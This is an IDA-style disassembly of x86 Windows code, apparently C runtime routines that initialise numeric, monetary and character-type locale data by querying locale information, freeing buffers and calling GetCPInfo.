		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 98h
		push	edx
		push	28h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 9Ch
		push	edx
		push	29h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A0h
		push	edx
		push	1Fh
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A4h
		push	edx
		push	20h
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A8h
		push	edx
		push	1003h
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]


loc_42EECB:				; CODE XREF: sub_42E940+2Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_42E940	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EED0	proc near		; CODE XREF: sub_42E860+50p
					; sub_42E860+7Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_42EEDE
		jmp	loc_42F1D9
; ---------------------------------------------------------------------------


loc_42EEDE:				; CODE XREF: sub_42EED0+7j
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+38h]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+40h]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+44h]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+48h]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4Ch]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+50h]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+54h]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+58h]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+5Ch]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+60h]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+64h]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+68h]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+6Ch]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+70h]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+74h]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+78h]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+7Ch]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+80h]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+84h]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+88h]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8Ch]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+90h]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+94h]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+98h]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0A0h]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0A4h]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0A8h]
		push	ecx
		call	sub_419980
		add	esp, 8


loc_42F1D9:				; CODE XREF: sub_42EED0+9j
		pop	ebp
		retn
sub_42EED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F1E0	proc near		; DATA XREF: .nsp0:00451BB8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		xor	eax, eax
		mov	ax, word_4EFBCA
		mov	[ebp+var_4], eax
		cmp	dword_4EF97C, 0
		jz	loc_42F35A
		push	offset dword_4EFB98
		push	0Eh
		mov	ecx, [ebp+var_4]
		push	ecx
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	edx, [ebp+var_8]
		or	edx, eax
		mov	[ebp+var_8], edx
		push	offset dword_4EFB9C
		push	0Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		push	offset dword_4EFBA0
		push	10h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, dword_4EFBA0
		push	edx
		call	sub_42F490
		add	esp, 4
		cmp	[ebp+var_8], 0
		jz	short loc_42F2C9
		push	2
		mov	eax, dword_4EFB98
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, dword_4EFB9C
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, dword_4EFBA0
		push	edx
		call	sub_419980
		add	esp, 8
		mov	dword_4EFB98, 0
		mov	dword_4EFB9C, 0
		mov	dword_4EFBA0, 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42F482
; ---------------------------------------------------------------------------


loc_42F2C9:				; CODE XREF: sub_42F1E0+8Fj
		mov	eax, off_4526D8
		cmp	dword ptr [eax], offset	dword_4526A0
		jz	short loc_42F310
		push	2
		mov	ecx, off_4526D8
		mov	edx, [ecx]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, off_4526D8
		mov	ecx, [eax+4]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, off_4526D8
		mov	eax, [edx+8]
		push	eax
		call	sub_419980
		add	esp, 8


loc_42F310:				; CODE XREF: sub_42F1E0+F4j
		mov	ecx, off_4526D8
		mov	edx, dword_4EFB98
		mov	[ecx], edx
		mov	eax, off_4526D8
		mov	ecx, dword_4EFB9C
		mov	[eax+4], ecx
		mov	edx, off_4526D8
		mov	eax, dword_4EFBA0
		mov	[edx+8], eax
		mov	ecx, off_4526D8
		mov	edx, [ecx]
		mov	al, [edx]
		mov	byte_4516AC, al
		mov	dword_4516B0, 1
		xor	eax, eax
		jmp	loc_42F482
; ---------------------------------------------------------------------------


loc_42F35A:				; CODE XREF: sub_42F1E0+1Fj
		push	2
		mov	ecx, dword_4EFB98
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, dword_4EFB9C
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, dword_4EFBA0
		push	eax
		call	sub_419980
		add	esp, 8
		mov	dword_4EFB98, 0
		mov	dword_4EFB9C, 0
		mov	dword_4EFBA0, 0
		push	88h
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_418EF0
		add	esp, 10h
		mov	ecx, off_4526D8
		mov	[ecx], eax
		mov	edx, off_4526D8
		cmp	dword ptr [edx], 0
		jnz	short loc_42F3DB
		or	eax, 0FFFFFFFFh
		jmp	loc_42F482
; ---------------------------------------------------------------------------


loc_42F3DB:				; CODE XREF: sub_42F1E0+1F1j
		push	offset a__3	; "."
		mov	eax, off_4526D8
		mov	ecx, [eax]
		push	ecx
		call	sub_41C300
		add	esp, 8
		push	8Dh
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_418EF0
		add	esp, 10h
		mov	edx, off_4526D8
		mov	[edx+4], eax
		mov	eax, off_4526D8
		cmp	dword ptr [eax+4], 0
		jnz	short loc_42F41F
		or	eax, 0FFFFFFFFh
		jmp	short loc_42F482
; ---------------------------------------------------------------------------


loc_42F41F:				; CODE XREF: sub_42F1E0+238j
		mov	ecx, off_4526D8
		mov	edx, [ecx+4]
		mov	byte ptr [edx],	0
		push	92h
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_418EF0
		add	esp, 10h
		mov	ecx, off_4526D8
		mov	[ecx+8], eax
		mov	edx, off_4526D8
		cmp	dword ptr [edx+8], 0
		jnz	short loc_42F45B
		or	eax, 0FFFFFFFFh
		jmp	short loc_42F482
; ---------------------------------------------------------------------------


loc_42F45B:				; CODE XREF: sub_42F1E0+274j
		mov	eax, off_4526D8
		mov	ecx, [eax+8]
		mov	byte ptr [ecx],	0
		mov	edx, off_4526D8
		mov	eax, [edx]
		mov	cl, [eax]
		mov	byte_4516AC, cl
		mov	dword_4516B0, 1
		xor	eax, eax


loc_42F482:				; CODE XREF: sub_42F1E0+E4j
					; sub_42F1E0+175j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42F1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F490	proc near		; CODE XREF: sub_42F1E0+83p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_42F494:				; CODE XREF: sub_42F490:loc_42F507j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42F509
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_42F4CD
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_42F4CD
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 30h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_42F507
; ---------------------------------------------------------------------------


loc_42F4CD:				; CODE XREF: sub_42F490+17j
					; sub_42F490+22j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_42F4FE
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_42F4DE:				; CODE XREF: sub_42F490+6Aj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_42F4DE
		jmp	short loc_42F507
; ---------------------------------------------------------------------------


loc_42F4FE:				; CODE XREF: sub_42F490+46j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_42F507:				; CODE XREF: sub_42F490+3Bj
					; sub_42F490+6Cj
		jmp	short loc_42F494
; ---------------------------------------------------------------------------


loc_42F509:				; CODE XREF: sub_42F490+Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_42F490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F510	proc near		; DATA XREF: .nsp0:00451BACo

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4EF978, 0
		jz	loc_42F5DC
		push	4Ah
		push	offset aInitmon_c ; "initmon.c"
		push	2
		push	30h
		push	1
		call	sub_419300
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42F549
		mov	eax, 1
		jmp	loc_42F63C
; ---------------------------------------------------------------------------


loc_42F549:				; CODE XREF: sub_42F510+2Dj
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42F640
		add	esp, 4
		test	eax, eax
		jz	short loc_42F57D
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42F8D0
		add	esp, 4
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_419980
		add	esp, 8
		mov	eax, 1
		jmp	loc_42F63C
; ---------------------------------------------------------------------------


loc_42F57D:				; CODE XREF: sub_42F510+47j
		mov	eax, [ebp+var_4]
		mov	ecx, off_4526D8
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	ecx, off_4526D8
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	ecx, off_4526D8
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_4]
		mov	off_4526D8, eax
		mov	ecx, dword_4EFBA4
		push	ecx
		call	sub_42F8D0
		add	esp, 4
		push	2
		mov	edx, dword_4EFBA4
		push	edx
		call	sub_419980
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	dword_4EFBA4, eax
		xor	eax, eax
		jmp	short loc_42F63C
; ---------------------------------------------------------------------------


loc_42F5DC:				; CODE XREF: sub_42F510+Bj
		mov	ecx, off_4526D8
		mov	edx, [ecx]
		mov	off_4526A8, edx
		mov	eax, off_4526D8
		mov	ecx, [eax+4]
		mov	off_4526AC, ecx
		mov	edx, off_4526D8
		mov	eax, [edx+8]
		mov	off_4526B0, eax
		mov	off_4526D8, offset off_4526A8
		mov	ecx, dword_4EFBA4
		push	ecx
		call	sub_42F8D0
		add	esp, 4
		push	2
		mov	edx, dword_4EFBA4
		push	edx
		call	sub_419980
		add	esp, 8
		mov	dword_4EFBA4, 0
		xor	eax, eax


loc_42F63C:				; CODE XREF: sub_42F510+34j
					; sub_42F510+68j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42F510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F640	proc near		; CODE XREF: sub_42F510+3Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		xor	eax, eax
		mov	ax, word_4EFBC4
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_42F666
		or	eax, 0FFFFFFFFh
		jmp	loc_42F849
; ---------------------------------------------------------------------------


loc_42F666:				; CODE XREF: sub_42F640+1Cj
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		push	15h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 10h
		push	edx
		push	14h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx
		push	16h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 18h
		push	edx
		push	17h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx
		push	18h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		call	sub_42F850
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		push	50h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 24h
		push	edx
		push	51h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 28h
		push	edx
		push	1Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 29h
		push	edx
		push	19h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ah
		push	edx
		push	54h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Bh
		push	edx
		push	55h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ch
		push	edx
		push	56h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Dh
		push	edx
		push	57h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Eh
		push	edx
		push	52h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Fh
		push	edx
		push	53h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]


loc_42F849:				; CODE XREF: sub_42F640+21j
		mov	esp, ebp
		pop	ebp
		retn
sub_42F640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F850	proc near		; CODE XREF: sub_42F640+C8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_42F854:				; CODE XREF: sub_42F850:loc_42F8C7j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42F8C9
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_42F88D
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_42F88D
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 30h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_42F8C7
; ---------------------------------------------------------------------------


loc_42F88D:				; CODE XREF: sub_42F850+17j
					; sub_42F850+22j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_42F8BE
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_42F89E:				; CODE XREF: sub_42F850+6Aj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_42F89E
		jmp	short loc_42F8C7
; ---------------------------------------------------------------------------


loc_42F8BE:				; CODE XREF: sub_42F850+46j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_42F8C7:				; CODE XREF: sub_42F850+3Bj
					; sub_42F850+6Cj
		jmp	short loc_42F854
; ---------------------------------------------------------------------------


loc_42F8C9:				; CODE XREF: sub_42F850+Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_42F850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F8D0	proc near		; CODE XREF: sub_42F510+4Dp
					; sub_42F510+A7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_42F8DE
		jmp	loc_42F961
; ---------------------------------------------------------------------------


loc_42F8DE:				; CODE XREF: sub_42F8D0+7j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0Ch], offset dword_4EFC04
		jz	short loc_42F961
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_419980
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		push	eax
		call	sub_419980
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		call	sub_419980
		add	esp, 8


loc_42F961:				; CODE XREF: sub_42F8D0+9j
					; sub_42F8D0+18j
		pop	ebp
		retn
sub_42F8D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F970	proc near		; DATA XREF: .nsp0:00451BA0o

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_2C], 0
		mov	[ebp+var_28], 0
		cmp	dword_4EF974, 0
		jz	loc_42FCC1
		cmp	dword_4EF984, 0
		jnz	short loc_42F9C0
		push	offset dword_4EF984
		push	1004h
		xor	eax, eax
		mov	ax, word_4EFBBC
		push	eax
		push	0
		call	sub_4338F0
		add	esp, 10h
		test	eax, eax
		jz	short loc_42F9C0
		jmp	loc_42FC82
; ---------------------------------------------------------------------------


loc_42F9C0:				; CODE XREF: sub_42F970+28j
					; sub_42F970+49j
		push	5Ch
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_30], eax
		push	5Eh
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_1C], eax
		push	60h
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	101h
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_2C], eax
		push	62h
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_28], eax
		cmp	[ebp+var_30], 0
		jz	short loc_42FA3C
		cmp	[ebp+var_1C], 0
		jz	short loc_42FA3C
		cmp	[ebp+var_2C], 0
		jz	short loc_42FA3C
		cmp	[ebp+var_28], 0
		jnz	short loc_42FA41


loc_42FA3C:				; CODE XREF: sub_42F970+B8j
					; sub_42F970+BEj ...
		jmp	loc_42FC82
; ---------------------------------------------------------------------------


loc_42FA41:				; CODE XREF: sub_42F970+CAj
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_20], 0
		jmp	short loc_42FA59
; ---------------------------------------------------------------------------


loc_42FA50:				; CODE XREF: sub_42F970+103j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_42FA59:				; CODE XREF: sub_42F970+DEj
		cmp	[ebp+var_20], 100h
		jge	short loc_42FA75
		mov	eax, [ebp+var_18]
		mov	cl, byte ptr [ebp+var_20]
		mov	[eax], cl
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx
		jmp	short loc_42FA50
; ---------------------------------------------------------------------------


loc_42FA75:				; CODE XREF: sub_42F970+F0j
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, dword_4EF984
		push	ecx
		call	dword_4F14B0	; GetCPInfo
		test	eax, eax
		jnz	short loc_42FA8F
		jmp	loc_42FC82
; ---------------------------------------------------------------------------


loc_42FA8F:				; CODE XREF: sub_42F970+118j
		cmp	[ebp+var_14], 2
		jbe	short loc_42FA9A
		jmp	loc_42FC82
; ---------------------------------------------------------------------------


loc_42FA9A:				; CODE XREF: sub_42F970+123j
		mov	edx, [ebp+var_14]
		and	edx, 0FFFFh
		mov	dword_4516A8, edx
		cmp	dword_4516A8, 1
		jle	short loc_42FB09
		lea	eax, [ebp+var_E]
		mov	[ebp+var_18], eax
		jmp	short loc_42FAC3
; ---------------------------------------------------------------------------


loc_42FABA:				; CODE XREF: sub_42F970:loc_42FB07j
		mov	ecx, [ebp+var_18]
